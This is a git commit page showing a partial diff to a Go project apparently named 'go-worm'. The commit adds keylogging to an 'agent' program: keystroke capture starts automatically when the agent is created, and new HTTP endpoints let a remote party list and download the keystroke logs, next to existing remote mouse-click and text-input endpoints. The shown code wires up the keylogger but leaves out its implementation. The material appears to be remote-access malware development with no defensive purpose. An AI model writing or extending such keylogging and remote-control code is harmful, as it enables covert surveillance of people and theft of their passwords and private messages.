Add keylogging functionality to the agent. Implement keylog start/stop, file listing, and download API endpoints. Update web interface to display keystroke logs and allow file downloads.

This commit is contained in:
2026-08-28 12:44:09 +03:00
parent 16d7aa75b3
commit d48c2044bc
13 changed files with 988 additions and 11 deletions
+7
View File
@@ -16,6 +16,7 @@ import (
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
"tea.chunkbyte.com/kato/go-worm/lib/input"
"tea.chunkbyte.com/kato/go-worm/lib/instance"
"tea.chunkbyte.com/kato/go-worm/lib/keylog"
)
type Agent struct {
@@ -44,10 +45,14 @@ func New() (*Agent, error) {
}
a.guard = guard
input.EnableDPIAwareness()
if err := keylog.Start(); err != nil {
helpers.Log.Printf("keylog start: %v", err)
}
return a, nil
}
func (a *Agent) Close() {
keylog.Stop()
if a.guard != nil {
a.guard.Close()
}
@@ -67,6 +72,8 @@ func (a *Agent) Serve() error {
mux.HandleFunc("/api/v1/startup", a.handleStartup)
mux.HandleFunc("/api/v1/input/click", a.handleClick)
mux.HandleFunc("/api/v1/input/text", a.handleText)
mux.HandleFunc("/api/v1/keylog", a.handleKeylog)
mux.HandleFunc("/api/v1/keylog/download", a.handleKeylogDownload)
a.server = &http.Server{
Addr: a.addr,